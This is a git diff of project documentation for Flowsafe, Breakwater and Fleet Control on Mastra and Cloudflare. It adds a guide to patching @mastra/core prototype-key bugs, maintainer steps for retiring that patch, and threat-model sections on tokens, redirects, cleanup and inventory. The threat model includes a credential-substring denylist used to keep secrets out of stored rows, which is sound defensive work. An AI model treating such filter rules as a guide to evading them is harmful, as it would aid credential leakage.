+A successful complete teardown makes a later resume evidence-only, with no provider requests and a null `teardownCall`. A recorded teardown refusal re-observes residuals and retains resources instead of advancing into deletion. Pending invocation or bootstrap mutations refuse automated continuation with `outcome-unknown`: inspection validates the journal binding under the same lock, reports the run directory and the retained identities, and writes evidence into that directory without mutating the journal. Pending teardown work can resume reconciliation. After the ingress probe, the client re-sends identical requests under one reservation within the shorter of 120 seconds or the invocation timeout: read-only actions retry transport failures and non-contract answers; mutations retry only unmarked 404 text pages. The first send and any answer whose contract headers have arrived are bounded by the invocation timeout alone. Answer failures report a fixed `detail`: `platform-page`, `transport-failure`, `non-contract-answer`, or `delivery-window-expired` when read-only delivery exhausts that window. Concurrent callers fail with `lock-unavailable`, and so does a host that cannot take the lock at all — a platform other than Linux, or one whose process exposes no user id or none of the `O_NOFOLLOW`, `O_NONBLOCK` and `O_DIRECTORY` flags the private handles need. An existing run refuses `--run` with `run-exists`.
+
+Give `evidence.json` to the recovery approval. Its allowlist projects configuration and artifact digests, versions, times, resume and invocation counts, dispatch classification, scenario failures and proofs, teardown receipts and residual counts, the current teardown call, and retained resource identities. Account and zone identifiers are represented by hash suffixes. The evidence records request counts from the run's own counters, per transport, and reads no provider billing. The journal retains residual names that evidence omits. Top-level `status` describes cleanup disposition and `exitCode` the code the run itself resolved, while `scenario.failure` describes the scenario outcome; `teardownCall` records the current call separately from durable teardown state.
+
+The writer scans decoded string values and serialized bytes for credentials and forbidden literals. It writes with mode `0600`, verifies a temporary file by reading it back, and replaces the artifact atomically before syncing the directory. A failure before replacement leaves an older artifact untouched and reports `evidenceWritten: false`; a directory-sync failure after replacement reports `true` with durability unconfirmed. On exit `5` a printed summary carries `evidenceWritten` and says which of those two the run is in; with no output at all, read `evidence.json` directly: its `exitCode` and `status` are the run's own, and they disagree with the process exit when publication rather than the run failed. Summaries and refusals exclude raw provider errors, credentials, headers, and bodies.
+
+Treat residual inventory according to its recorded scope. Scripts, domains, routes, and queues each record `exhaustive` from the provider's `result_info`: `true` when that `result_info` corroborated the page, `false` otherwise — absent, null, empty, or carrying neither total. The queues scan also records `false` where the account answers 404, which it reads as an account carrying no queue collection and stands in for with an empty page; the zero counts it then records are that reading rather than a page the provider sent. The transport refuses a response whose `result_info` contradicts a complete page. `isSettled` asserts a prefix-scoped zero residual on each recorded surface, and a global zero residual only under `disposableAccount: true`, both from the recorded counts; it also asserts that `versionsGone` is not `false` — an unknown reading does not fail it — and that the dispatch surface is not `fail-closed` and carries a zero prefixed count. The global bucket count, recorded only under `disposableAccount: true`, covers the `default` jurisdiction. Set `disposableAccount: true` only for an account that held nothing on any surface the scan reads when the run started, including surfaces this lane never creates: a queue the account already carried is counted globally and reports `residual-present` on a run that removed everything it made. A journal that recorded a residual observation whose surfaces omit `queues` is refused on resume; start a new run. One that recorded no residual observation resumes normally.
+
 ## Preserve the control-plane boundary
 
 Keep these constraints in every operator surface:
diff --git a/docs/getting-started.md b/docs/getting-started.md
index d0d31921..46d82936 100644
--- a/docs/getting-started.md
+++ b/docs/getting-started.md
@@ -4,7 +4,7 @@ This guide takes a Mastra application from package installation to one guarded c
 
 ## Prerequisites
 
-- Node.js 22.13.0 or later for Breakwater and Flowsafe; the complete repository and private Fleet Control package require Node.js 22.22.0 or later
+- Node.js 22.13.0 or later for Breakwater and Flowsafe; the complete repository and Fleet Control's Node host require Node.js 22.22.0 or later
 - An ESM TypeScript project using `moduleResolution: "NodeNext"`, `"Node16"`, or `"Bundler"`
 - `@mastra/core` `1.53.0`
 - A Cloudflare account, D1 database, and Durable Objects only when deploying flowsafe
@@ -175,6 +175,63 @@ grant. Side-effecting steps remain protected by the server-derived approval
 context. The agent host has no public resume route; an agent run advances only
 through an approval decision.
 
+## Apply the flowsafe patch to @mastra/core
+
+`@mastra/core` `1.53.0` reads inherited `Object.prototype` members when a notification's `source` names one. `summarizeNotifications()` accumulates per-source counts in an ordinary object literal, so a notification whose `source` is `constructor`, `toString`, `__proto__` or another prototype member is counted against the inherited value and rendered as text rather than a number ([mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693)). `resolveNotificationDeliveryDecision()` indexes its `sources` policy map without an own-property test, so those same source names select an inherited function instead of falling through to the configured priority or default action, including `discard` ([mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694)). The priority-keyed lookups beside both sites take a closed set that flowsafe validates before a record reaches them.
+
+Flowsafe notification delivery depends on both corrections: it inspects the summary core renders before sending it and records a receipt against that content, and it hosts ordinary core agents whose configured source policy the second defect bypasses. Flowsafe ships the correction as a patch file, published at `node_modules/@proofoftech/flowsafe/patches/@mastra__core@1.53.0.patch`. Apply it at your application root; installing flowsafe does not apply it for you.
+
+### Apply it with pnpm
+
+Copy the file into your application's `patches/` directory and record it in your root `package.json`:
+
+```bash
+mkdir -p patches
+cp node_modules/@proofoftech/flowsafe/patches/@mastra__core@1.53.0.patch patches/
+```
+
+```json
+{
+  "pnpm": {
+    "patchedDependencies": {
+      "@mastra/core@1.53.0": "patches/@mastra__core@1.53.0.patch"
+    }
+  }
+}
+```
+
+Then run `pnpm install`. pnpm applies the patch while it extracts the package, so it needs no install script.
+
+With the patch, `summary.bySource` is a null-prototype object: it carries no inherited methods such as `hasOwnProperty`. Read it with `Object.hasOwn()` or `Object.entries()`.
+
+### Apply it with npm or Yarn
+
+Copy the file the same way, then apply it after every install:
+
+```json
+{
+  "scripts": {
+    "postinstall": "patch -p1 -R -s -f --dry-run -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch >/dev/null || patch -p1 --batch -N -d node_modules/@mastra/core < patches/@mastra__core@1.53.0.patch"
+  }
+}
+```
+
+The patch file is fed on standard input rather than through `-i` because `-d` changes directory before a relative `-i` path is resolved. The reverse dry run succeeds only on an already-patched tree, so the second leg runs exactly once per fresh install.
+
+This route requires GNU `patch` on `PATH`, and Yarn only with `nodeLinker: node-modules`. When both legs fail on `1.53.0`, delete `node_modules/@mastra/core` and reinstall rather than re-running the command. When they fail because `@mastra/core` is no longer `1.53.0`, remove the `postinstall` script: the patch does not apply to other versions.
+
+The patch applies to `@mastra/core` `1.53.0` only. When you upgrade `@mastra/core`, remove the `patchedDependencies` entry or the `postinstall` script before installing, and check whether the release carries the upstream fixes. On an unpatched install flowsafe refuses to construct a notification dispatch tick that does delivery work with an error naming this section, and answers notification ingestion and dispatch requests with a 502 whose server log line names it.
+
+### Confirm the patch is applied
+
+```bash
+node -e "const {summarizeNotifications}=require('@mastra/core/notifications');console.log(typeof summarizeNotifications([{id:'n',threadId:'t',source:'constructor',kind:'k',priority:'low',status:'pending',summary:'s',createdAt:new Date(0),updatedAt:new Date(0)}]).bySource.constructor)"
+```
+
+This prints `number` with the patch applied and `string` without it.
+
+The `postinstall` command above is exercised in continuous integration against a scratch application root holding an installed copy of the package: it applies the shipped patch on the first run and is a no-op on the second. No npm or Yarn install is exercised.
+
 ## Define an approval gate
 
 A gate suspends with a static connector list. The host bridge copies that server-authored list into the approval record, and `approvalGrantProvider()` derives the matching capability on resume.
diff --git a/docs/maintainer-guide.md b/docs/maintainer-guide.md
index 88de131a..b8500011 100644
--- a/docs/maintainer-guide.md
+++ b/docs/maintainer-guide.md
@@ -16,11 +16,11 @@ corepack enable
 pnpm install --frozen-lockfile
 ```
 
-The workspace requires Node 22.22.0 or later and pnpm 10.16 or later. `packageManager` pins the expected pnpm version. `pnpm-workspace.yaml` applies a seven-day minimum package release age with documented exceptions for lockstep or tool-imposed dependencies. Versioned overrides for `js-yaml@3`, `js-yaml@4`, and `nanoid@3` pin each legacy line forward until a maintainer bumps it by hand.
+The workspace requires Node 22.22.0 or later and pnpm 10.16 or later. `packageManager` pins the expected pnpm version. `pnpm-workspace.yaml` applies a seven-day minimum package release age with documented exceptions for lockstep or tool-imposed dependencies. Versioned overrides for `js-yaml@3`, `js-yaml@4`, and `nanoid@3` pin each legacy line forward until a maintainer bumps it by hand. GNU `patch` must be on `PATH`: the packed agent-host proof applies the shipped `@mastra/core` patch with it.
 
 ## Verification
 
-The commands below mirror the CI `verify` job after dependency installation, in order:
+The commands below mirror the CI `verify-core` job after dependency installation, in order; `pnpm test` also covers the direct scenario project that CI runs in its own `direct-scenario` job, and the `verify` gate job requires every job in its `needs` list, these two among them, to succeed:
 
 ```bash
 pnpm github:check
@@ -104,9 +104,32 @@ CI tests the declared supported peer version as part of the normal gate. A separ
 
 Treat a red canary as a release investigation even though it does not block a merge. Update the declared peer range only after tests, workerd proofs, package tarball probes, and migration notes pass.
 
-The canary's typecheck and test steps cannot see a published-dist bundling regression: neither links Mastra's shipped output through a bundler. `pnpm --filter @proofoftech/flowsafe spike:bundle-check` is the canary's bundling proof, and against the pinned peer that role belongs to `spike:verify` and the showcase build inside `verify`. Note that its `--outdir .wrangler/bundle-check` resolves relative to the wrangler CONFIG directory, not the working directory, so the output lands in `packages/flowsafe/spike/.wrangler/bundle-check`; a working-directory-relative path silently writes one level deeper, outside the ignored path. The bundle step carries its own `continue-on-error` so an expected upstream failure still lets the tripwire suites after it run.
+The canary drops the workspace's `pnpm.patchedDependencies` entry before it resolves the newest core, so it runs unpatched. Against a core that still ships the defects [mastra-ai/mastra#23693](https://github.com/mastra-ai/mastra/issues/23693) and [mastra-ai/mastra#23694](https://github.com/mastra-ai/mastra/issues/23694) describe, expect `notification-source-keys.test.ts` to report its probe cases failed and its patched-behavior blocks skipped, and expect the flowsafe suites that construct a delivering `createNotificationDispatchTick()`, or ingest or dispatch notifications through `createThreadSignalRoutes()`, against the installed core to fail with the refusal naming the patch; `notification-dispatch.patch-seam.test.ts` mocks Core's `summarizeNotifications` with the unpatched accumulator and passes either way. A canary that goes green against a newer core — its probe cases passing, and the patched-behavior blocks those cases gate running green rather than skipping — is the signal that the patch can be retired, through the procedure below. That signal has fired: `@mastra/core` 1.67.0 carries both patch subjects upstream — `Object.hasOwn` on `config.sources` in `resolveNotificationDeliveryDecision`, and a null-prototype `bySource` in `summarizeNotifications` — so against it the probe cases pass, the patched-behavior blocks run rather than skip, and `assertNotificationSourceKeysPatched()` and `assertNotificationDeliveryPolicyPatched()` return instead of throwing. Retirement follows adopting a release that carries those fixes, not the canary going green: until the declared peer moves, the patch, its guards and the expectation above all stand.
 
-A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and Breakwater's `forwardClassified` allowlist is pruned of every name the new pin now exposes, which its own test asserts.
+Retiring the `@mastra/core` patch, once a release carrying the upstream fixes is adopted, reaches:
+
+- `packages/flowsafe/patches/@mastra__core@1.53.0.patch`.
+- The root `package.json` `pnpm.patchedDependencies` entry, and the `patchedDependencies` block and `patch_hash` keys in `pnpm-lock.yaml`, which `pnpm install` regenerates.
+- The `@proofoftech/flowsafe` `files` entry that publishes the patch.
+- The construction, ingestion and dispatch refusal in `packages/flowsafe/src/signals/notification-dispatch.ts`, its error text naming the getting-started section, and its call sites in `packages/flowsafe/src/signals/thread-do-routes.ts`.
+- `packages/flowsafe/src/signals/notification-dispatch.patch-seam.test.ts`, which exists to prove that refusal and goes red without it.
+- The lazily built notification tick and its stated reason in `packages/agent-starter/src/maintenance.ts`, and `packages/agent-starter/test/maintenance-tick-refusal.test.ts`, which pins the composition that reason produced. The suite mocks the refusal rather than reaching it, so retirement leaves the comment's reason false and the suite green: retire both here instead of waiting for a failure.
+- The manifest edit in the `mastra-compat` job in `.github/workflows/ci.yml`, and the comment that explains it.
+- [Apply the flowsafe patch to @mastra/core](getting-started.md#apply-the-flowsafe-patch-to-mastracore) in the getting-started guide, including the `postinstall` command that the packed tool-neutral proof extracts from it and runs.
+- The GNU `patch` requirement in [Local setup](#local-setup), which the tool-neutral proof needs to apply the shipped patch.
+- The canary expectation earlier in this section, which is scoped to the open upstream issues.
+- The patch sentences in `packages/flowsafe/README.md`, including the Apache-2.0 section 4(b) notice.
+- The notification sentences in [Durable agents](durable-agents.md).
+- The patch sentences in `packages/flowsafe/deploy/README.md` and `packages/agent-starter/README.md`.
+- The exception paragraph in `CONTRIBUTING.md`.
+- The unpatched, patched and tool-neutral proofs in `packages/flowsafe/scripts/agent-host-pack-test.mjs`, and the `assertNotificationSourceKeysPatched` entry in that file's not-exported name list, which passes vacuously once the helper is gone.
+- The probe and gating in `packages/flowsafe/src/signals/notification-source-keys.test.ts`. After an upstream fix its patched-behavior cases stay as regression coverage of upstream; the gating goes.
+
+A changeset describing the patch clears itself at release.
+
+The canary's typecheck and test steps cannot see a published-dist bundling regression: neither links Mastra's shipped output through a bundler. `pnpm --filter @proofoftech/flowsafe spike:bundle-check` is the canary's bundling proof, and against the pinned peer that role belongs to `spike:verify` and the showcase build inside `verify-core`. Note that its `--outdir .wrangler/bundle-check` resolves relative to the wrangler CONFIG directory, not the working directory, so the output lands in `packages/flowsafe/spike/.wrangler/bundle-check`; a working-directory-relative path silently writes one level deeper, outside the ignored path. The bundle step carries its own `continue-on-error` so an expected upstream failure still lets the tripwire suites after it run.
+
+A second tripwire guards the durable agent surface. `packages/flowsafe/src/agent-runner/durable-agent-surface.test.ts` classifies every own member of Mastra's `DurableAgent.prototype`, and fails on any member the file does not classify. On a core upgrade it therefore demands reading the new member's implementation in the installed dist before classifying it — as a guarded entry point, a delegator, a refusal, or something that cannot drive a run. Never satisfy it by widening the non-execution list without that read. It pins the inherited `Agent.prototype` members the same way, since Mastra calls the agent instance and the instance inherits both surfaces. Breakwater carries its own inventory of `Agent.prototype` in `packages/breakwater/src/agent/agent.test.ts`, classifying the same surface for what a narrowed guarded handle may expose. The maintenance contract on a core bump: the reason table in `durable-agent-runner.ts` is authoritative, the surface test is what forces the read, the runner's module comment and [Durable agents](durable-agents.md) are updated from the table in the same commit — never left to drift behind it — and both two-core allowances are pruned when the pin moves — Breakwater's `forwardClassified` of every name the new pin now exposes, and the surface test's `VERSION_SKEW` of every row whose two levels the new pin makes agree — which their own tests assert. The `@mastra/core` patch is retired or re-cut in the same commit, through the procedure above.
 
 Per-suspension deadlines couple to one undocumented Mastra behavior: a step arms a deadline through a reserved key in the payload it hands `suspend()`, which only reaches flowsafe because Mastra substitutes the schema-parsed suspend payload into the run summary (verified in the declared peer, 1.53.0). A change there — a different substitution, a different key for a nested suspension, or resume-data validation moving — silently disarms every deadline. Tripwire tests in `packages/flowsafe/src/do-runner/runtime.test.ts` pin the observed behavior: the reserved key surviving a schema that declares it, being stripped by a strict schema that does not, surviving a loose schema, and a nested suspension being refused rather than armed. Check them on every Mastra upgrade and treat a failure as a behavior change to document, never as a test to relax.
 
@@ -131,3 +154,8 @@ Repository administrators separately own:
 - branch protection and required checks.
 
 Do not change those external controls as a side effect of an unrelated code change.
+The `protect main` ruleset requires the status check named `verify`, the gate job
+in `ci.yml`; it fails unless its `needs` list carries at least one job and every
+job in that list reports success, so a new gating job joins the list, not the
+ruleset. A push to `main` starts `ci.yml` and `release.yml` concurrently, and the
+release workflow does not wait for CI's result.
diff --git a/docs/observability-and-quality.md b/docs/observability-and-quality.md
index b9e8d547..de455846 100644
--- a/docs/observability-and-quality.md
+++ b/docs/observability-and-quality.md
@@ -32,10 +32,12 @@ const audit = new AuditLogger({
 });
 ```
 
-Sink failure does not change the gated application decision. The event remains in the ring until eviction. This improves application availability but means export health needs a separate alert.
+Sink or `onSinkError` failure does not change the gated application decision. Synchronous exceptions and rejected promises remain isolated. The event remains in the ring until eviction. This improves application availability but means export health needs a separate alert.
 
 `combineAuditSinks()` invokes every sink and aggregates synchronous and asynchronous failures after all sinks settle.
 
+Connector SDK events include `decisionCode`, `policyKind` and `retryable` from the same classification as their authored errors. These fields remain optional on the shared `AuditEvent` because other producers have their own contracts. A nested connector failure can retain the inner code while the outer event records `decision: "error"`. See the [connector decision catalogue](connector-interface.md#connector-decision-codes) for retry and post-effect store semantics.
+
 ## Audit-derived metrics
 
 `metricsAuditSink()` uses a structural recorder:
diff --git a/docs/policy-engine-design.md b/docs/policy-engine-design.md
index 287f4815..39b5e6c6 100644
--- a/docs/policy-engine-design.md
+++ b/docs/policy-engine-design.md
@@ -183,6 +183,8 @@ Add evaluators through `ConnectorPolicies.evaluators`. Keep them deterministic a
 
 An evaluator may inspect trusted request-context values, but must never promote client input into an approval grant or isolation scope.
 
+Tool evaluators can return `{ allowed: false, reason }` or add a `ConnectorDenialCode` and its code-specific `details`. Built-in codes are independent of renamed evaluators. Legacy custom denials use `EVALUATOR_DENIED`; malformed new metadata and evaluator exceptions use `EVALUATOR_FAILED`. The connector SDK validates and copies those fields before emitting its error and audit event. See the [decision-code contract](connector-interface.md#connector-decision-codes). Agent and content policy seams keep their existing result and abort behavior.
+
 ## Connector execution order
 
 The SDK uses this order:
@@ -210,7 +212,7 @@ attempt can retry. Output-validation failure after execution leaves an atomic
 reservation pending until stale takeover or operator recovery because an
 immediate release could duplicate the completed side effect.
 
-Every allow, denial, and gate failure emits structured audit. Arbitrary thrown values are mapped to static safe audit reasons rather than copied into audit output.
+SDK events that reach the configured audit wrapper include `decisionCode`, `policyKind` and `retryable`. Arbitrary thrown values use static audit reasons rather than their exception text.
 
 ## Data lifecycle policy
 
diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md
index 8b79a374..56563d02 100644
--- a/docs/security-threat-model.md
+++ b/docs/security-threat-model.md
@@ -63,10 +63,14 @@ breakwater.isolationScope
 
 Only trusted host/runtime code may populate actor, grant, principal-permission, or workflow values. Idempotency keys and dry-run selection may originate from authorized application logic, but must not overwrite the other keys. `breakwater.isolationScope` remains an opaque Breakwater policy input; Flowsafe does not mint it for the single-organization data plane.
 
-Flowsafe's shared execution-context boundary reserves every `breakwater.*` key, `mastra:goal`, `runId`, `threadId`, `resourceId`, `__proto__`, `constructor`, and `prototype`. External HTTP bodies reject these fields. Persisted compatibility paths strip them before trusted derivation.
+[`isReservedExecutionContextKey()`](../packages/flowsafe/src/do-runner/execution-context.ts) defines the reserved namespace. API-start and schedule `requestContext` records reject those keys at ingestion. Persisted compatibility paths strip reserved entries before trusted derivation.
+
+An API start may carry non-reserved application context after authentication, start-role checks and workflow authorization. The validated value is visible to the host's `beforeStart` policy and travels on the existing authenticated Worker-to-Durable-Object channel into the stored application tier. Host policy must verify any business meaning attributed to those values. They cannot supply execution identity or connector grants; `inputData` is not a context transport.
 
 Trusted merges apply sanitized external or stored context first, then workflow, run, current execution identity, structured connector grants, and trusted actor/audit correlation. Provider-supplied isolation scope is dropped. An empty grant array overwrites any stale value, and the agent host projects the principal-permission resolution or an explicit `null` on every leg so a stale persisted projection cannot survive a resume.
 
+For an API start, provider application values override matching stored values. A verified schedule target controls its context even when it supplies none. Persisted application values survive resume, while trusted providers refresh capability state. Keyed replay revalidates input and host policy but preserves the winning run's context.
+
 ### Worker to Durable Object
 
 The Worker chooses the object name through `idFromName()`. Each object reasserts the addressed identity:
@@ -116,6 +120,44 @@ Audit events can contain actor, workflow, run, deployment, connector, and denial
 
 Physical isolation replaces request-level tenant predicates. The following invariants define the boundary.
 
+The account SDK and raw transport, the plain Worker maintenance transport, and the Workers for Platforms maintenance transport force manual redirect handling after the caller's `init`, so a call site cannot opt into following a redirect to an address the control plane did not choose. Where each refusal sits follows what reads the response: the raw dispatch script page refuses a redirect status where it reads the raw response, and the Workers for Platforms maintenance transport refuses one in its wrapper, because its callers read only the signed receipt header; the SDK-routed callers classify the status themselves, and a plain Worker maintenance response that is not ok is refused by `readMaintenanceHealth`.
+
+### Direct Cloudflare API backend
+
+`CloudflareApiPlainWorkerBackend` runs only in the trusted control plane. Give its `CloudflareProvisioningClient` an account-scoped token limited to the account it provisions. The direct backend needs `Workers Scripts Edit`, `D1 Edit`, `Zone Read`, `Workers Routes Read`, `Workers Routes Write`, and `API Tokens Read`. Add [`Workers R2 Storage Edit`](https://developers.cloudflare.com/r2/api/tokens/#permission-groups) only when the fleet provisions application R2 buckets. Cloudflare requires `D1 Edit` for HTTP API writes, including identity seeding and ledgered migrations.
+
+The direct backend's client paths call these Cloudflare API route families:
+
+- `/accounts/{account_id}/workers/scripts` and nested deployments, versions, secrets, and subdomain routes
+- `/accounts/{account_id}/workers/domains` and `/accounts/{account_id}/workers/durable_objects/namespaces`
+- `/accounts/{account_id}/workers/dispatch/namespaces` for destructive attachment scans, even for a plain-only client
+- `/accounts/{account_id}/d1/database` and nested query and export routes
+- `/accounts/{account_id}/r2/buckets` and nested object-list routes when application R2 is enabled
+- `/user/tokens/verify`, account or user token-policy reads, account-filtered `/zones`, and `/zones/{zone_id}/workers/routes`
+- the provider-issued HTTPS export URL, without the Cloudflare authorization header
+
+Every provider page and request reserves shared quota, and every inventory has a hard item bound. An over-bound inventory fails instead of truncating. Under Workers for Platforms, namespace-list failures, including `404`, propagate and block destructive teardown. Under a plain-only client, only a first-page `404` or an exhaustive empty result proves that no dispatch namespace exists; a later `404` and every other failure block destructive D1 or R2 teardown.
+
+The SDK runs with logging disabled even when `CLOUDFLARE_LOG` requests debug output. Upload errors replace intent secret values before the error enters a mutation outcome. That redaction knows only exact plaintext secret values from the upload intent; a consumer-injected fetch that echoes request headers into an error can surface the account token, so supply that fetch only from trusted control-plane code. The Cloudflare SDK can also throw a consumer-controlled value while coercing a rejected transport value before wrapping it; that value can carry request data and bypass upload-error redaction, while hostile values can make API-error recognition or sanitization throw another value instead. Database export failures discard provider messages, response bodies, headers, signed URLs, and original causes. The signed URL is parsed, downloaded with no authorization header, hashed, and compared with the durable store's committed size and digest inside one redaction boundary.
+
+Unset `CLOUDFLARE_CUSTOM_HEADERS` in the provisioning host unless every configured header is intended for all SDK requests. Cloudflare SDK 7 reads that process variable as ambient default headers, outside the backend's explicit options.
+
+Hardening of the provisioning host itself does not weaken the token, log, pagination, or destructive-scan requirements above.
+
+### Dedicated control-plane Worker
+
+The dedicated Fleet Worker holds account-level credentials, Fleet and quota D1 bindings, and a private export R2 binding. Never add them to tenant-serving Workers. The curated factory fixes its provider and storage dependencies; it does not authenticate a public handler or authorize a submitted job.
+
+Restrict job submission and management access to trusted platform principals. Resolve account selection, specifications, credentials, bindings, and provider transports from trusted configuration. A Queue payload must not select those capabilities or a cleanup policy.
+
+Queue messages carry work claims; Fleet D1 retains operation revisions, leases, resource ownership, and receipts. Duplicate delivery grants no new authority. Use returned continuation tokens without exposing private provider cursors or secrets. A resolved advance can represent a terminal failure; the host must classify that result before reporting success or acknowledging delivery. Queue acknowledgement does not make provider effects exactly once.
+
+Preserve shared quota scope and export receipt authority across executor changes. Protect provider credentials and host diagnostics independently of durable sanitized results. Another authorized account token can race provider observations; a Fleet lease does not lock out those writers. Destructive attachment checks still need account-wide dispatch-namespace evidence when ordinary provisioning is selected.
+
+Inventory and audit memory is shared with concurrent invocations in the isolate. Bounded provider work does not bound materialized state or database reads. Follow the [Worker host resource guidance](fleet-control.md#size-the-worker-for-its-workload); local success does not attest production resource-limit compliance.
+
+The existing root-only force API remains a separate recovery operation. It preserves its Worker/R2 residuals and historical receipts. The reference force consumer needs its own verified runtime/request envelope; the curated publication probe does not prove that broader root consumer. Recover residual resources by their recorded identities after verifying the intermediate force result.
+
 ### One organization per resource set
 
 A data-plane Worker serves one organization. Its D1 database, Durable Object namespaces, fleet-owned application R2 buckets, and secrets must not be shared with another organization. A shared audit queue is allowed only behind trusted infrastructure that derives attribution from static deployment bindings; externally authored code receives neither its producer binding nor reusable control-plane credentials.
@@ -126,6 +168,68 @@ Only an application Worker receives application variables, application secrets,
 
 Fleet control rejects application KV bindings. Cloudflare's [1,000-namespace account limit](https://developers.cloudflare.com/kv/platform/limits/) cannot support the 10,000-deployment horizon with one namespace per deployment. A shared application namespace would make logical key partitioning the tenant boundary. The shared `HOSTS` KV namespace remains a control-plane routing index and is not exposed to application code.
 
+### Bounded no-export cleanup
+
+Destructive no-export cleanup deletes a deployment's database without an export, so its admissibility rests on one durable proof: candidate code never gained execution authority. Every new fleet record carries a versioned invocation-authority carrier from its first durable write, and every candidate-invoking dispatch — an external candidate upload, the first maintenance request, a version override, or a promotion — commits an authorization timestamp durably before the provider call dispatches. A rejected or unacknowledged authority write aborts before dispatch, and a lost provider response counts as possible execution. The eligibility classifier fails closed on malformed carriers, carrier-phase inconsistencies, Workers for Platforms and external-artifact candidates (every current candidate receives the deployment database binding), external staging evidence, and legacy carrier-less rows at phases that cannot rule out a dispatched upload; refusals name export-backed decommissioning as the only remedy, and the classifier re-runs against the persisted admission facts and the live carrier immediately before deletion.
+
+A completed cleanup writes an immutable operation-keyed terminal receipt atomically with claim release and row deletion. Receipts are insert-only, survive same-key reprovisioning and force decommission, and are removed only by explicit bounded pruning. Receipt evidence is provider-text-free: booleans, hash digests, and counts, never continuation tokens, scan cursors, provider messages, URLs, or secrets.
+
+`forceDecommissionDeployment()` stays a root-only, evidence-free, receipt-free last resort and refuses during an active bounded cleanup. On capable stores it releases the deployment's current ownership claims with the row, but it does not delete the ordinary Worker script or application R2 buckets, so a released name can precede residual physical resources. After a force, do not reprovision the same names until those residuals are confirmed removed: provisioning fails closed on ownership mismatch — the pre-existing-database refusal and the Worker ownership attestation — rather than adopting foreign resources.
+
+### Bounded account inventory
+
+An inventory account lease does not authorize another account's operation or a replacement generation or option set. Chunk writes must agree with the run's persisted selection. Row and fact keys are immutable within that generation; a conflicting payload aborts its batch. Duplicate keys are rejected before writes. Lease expiry can still leave earlier staged inserts before progress refuses, so retry payloads must remain stable.
+
+A same-revision failed run is not evidence that a chunk committed. Convergence requires the intended run record and targeted payloads to agree with durable state. This check does not lock independent provider writers or turn the inventory into a globally consistent snapshot.
+
+A bounded account inventory run persists its progress and its enumerated rows in Fleet D1, so what may enter those rows is a boundary in its own right. Every durable inventory string passes a credential and length control: at most 512 bytes, and none of the case-insensitive substrings `authorization`, `bearer`, `x-auth`, or `api_token`. Every value interpolated into a durable `finding` detail additionally has to be printable and free of whitespace after the caller normalizes a hostname to ASCII. The bounded fleet audit below is a documented exception to the 512-byte figure: its composed finding details are sentences, not short provider-claimed values, so they validate against a 4 KiB string bound instead, under the same credential-substring and control-byte denylist. Neither control is a name grammar, because Cloudflare KV key names permit all printable non-whitespace characters and custom domains may be returned as internationalized Unicode; a narrower charset would abort a run that should merely have recorded a `malformed-route` finding.
+
+The two sites that previously interpolated a provider error string are sanitized. A durable finding stores only `registered script '<name>' could not be inspected` or `plain Worker '<name>' could not be inventoried`. The transient provider text stays in call-local diagnostics that are never written to a row, a deployment fact, or the run record. `collectFleetInventory()` composes today's exact bytes from those call-local diagnostics, so the in-memory result is unchanged while the durable row carries no provider text.
+
+Resource names reached through the enumeration — script names, physical script names, database names, route hostnames, zone route patterns, and dispatch namespace names — are either constructed by this codebase from the tenant tag and environment or configured by the operator. A secret can appear in one only if an operator names a resource after a secret, which is self-inflicted and out of scope, exactly as it already is for today's in-memory findings and every existing fleet record field. Bounded inventory adds no new channel there. The one genuinely untrusted input is the raw host-routing KV key name, which any KV writer can set: it faces the credential and length control first, and a name that is base64 or high-entropy shaped (32 or more characters matching the base64 alphabet with no `.`) is never persisted. Such a key is identified by its listing ordinal in the finding.
+
+Provider resumption cursors are the one deliberate carve-out. `stage.cursor` and `stage.startAfter` are opaque provider text and they do live in the run record, because bounded resumption is impossible without them. They are confined to the run record, face the credential and length control only — never the finding-detail rule, since a legitimate cursor is base64 — and are never copied into an inventory row, a deployment fact, a continuation token, or a Queue message. Continuation tokens carry a version, an operation id, and a revision, and nothing else.
+
+Only a finalized generation is readable. Partial, failed, and count-divergent generations are structurally unreadable, and historical generations require an explicit pin before a read so bounded garbage collection cannot race a legitimate reader. A generation is a point-in-time-per-stage snapshot rather than a globally consistent one; account-wide mutation locking against independent external tokens remains out of scope, unchanged from the single-call enumeration.
+
+### Bounded fleet audit
+
+A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. Caller-provided callbacks, store ports and abort signals remain trusted executable capabilities outside the record snapshot.
+
